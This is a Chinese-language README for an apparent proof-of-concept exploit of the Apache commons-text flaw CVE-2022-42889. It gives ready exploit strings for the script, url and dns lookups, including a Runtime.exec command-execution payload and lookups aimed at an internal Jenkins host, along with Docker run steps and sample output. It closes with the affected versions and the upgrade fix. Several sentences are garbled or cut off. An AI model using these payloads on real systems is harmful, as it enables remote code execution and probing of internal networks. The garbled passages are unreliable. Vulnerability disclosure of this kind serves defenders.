这是针对漏洞 CVE-2022-42889 的概念验证代码。此代码将运行 JavaScript 代码 195 + 324。如果存在漏洞,输出应为:
PoC Output: 519
要运行此代码,你需要:
当提示输入漏洞利用字符串时,你可以提供自己的漏洞利用字符串(然后按 Enter 输入字符串),或者直接按 Enter 使用默认的漏洞利用字符串 ${script:javascript:195 + 324}。
或者你也可以使用 Docker 来运行此 PoC:
docker build -t poc .
docker run -it poc
问题源于以下键默认不应被插值(根据文档 https://commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/lookup/StringLookupFactory.html):
scriptdnsurl此查找允许执行提供的 JavaScript 代码。结果是攻击者能够在系统上执行任意代码。
${script:<engine>:<code>}
${script:javascript:java.lang.Runtime.getRuntime().exec('mkdir poc-test')}
PoC 中的示例:
Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'):
${script:javascript:java.lang.Runtime.getRuntime().exec("mkdir poc-test")}
Warning: Nashorn engine is planned to be removed from a future JDK release
===================================================================================================================
Exploiting PoC with the exploit string '${script:javascript:java.lang.Runtime.getRuntime().exec("mkdir poc-test")}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
Process[pid=67, exitValue=0]
===================================================================================================================
此查找调用指定的 URL。攻击者可利用此功能对内部资源执行基本的 GET 请求。
${url:<character-encoding>:<url>}
${url:UTF-8::https://internal-jenkins.companyx.net/}
PoC 中的示例:
Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'):
${url:UTF-8:https://www.google.com/}
===================================================================================================================
Exploiting PoC with the exploit string '${url:UTF-8:https://www.google.com/}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="en-GB"><head>
....
</body></html>
===============================================================================================
此查找执行 DNS 查询或反向查找。攻击者可利用此功能识别内部资源。
${dns:<address,canonical-name,name>|<host>}
${dns:address|internal-jenkins.companyx.net}
PoC 中的示例:
Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'):
${dns:address|www.google.com}
===================================================================================================================
Exploiting PoC with the exploit string '${dns:address|www.google.com}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
142.250.200.4
===================================================================================================================
然而,由于逻辑缺陷,这三个键默认被插值,而它们不应如此(因为它们可能构成安全风险)。
控制传递给受影响 StringSubstitutor 替换的字符串的攻击者可能:
StringSubstitutor 代码的 JavaScript 代码要使代码易受攻击,你需要:
运行的 Apache commons-text 版本从 1.5.0 到(不包括)1.10.0
对字符串替换使用了插值(参见 https://commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/StringSubstitutor.html)
注意:在 JDK 15 及更高版本中,JavaScript 引擎 Nashorn 不再包含。但 JEXL 引擎仍然包含,因此 RCE 仍可能实现。
解决方法是更新你的 commons-text 实例到 1.10.0 或更高版本。
其他默认查找仍可能构成安全风险(例如读取文件内容、读取系统属性等)。请谨慎使用此功能,并确保所有用户输入均已适当清理(例如通过白名单)。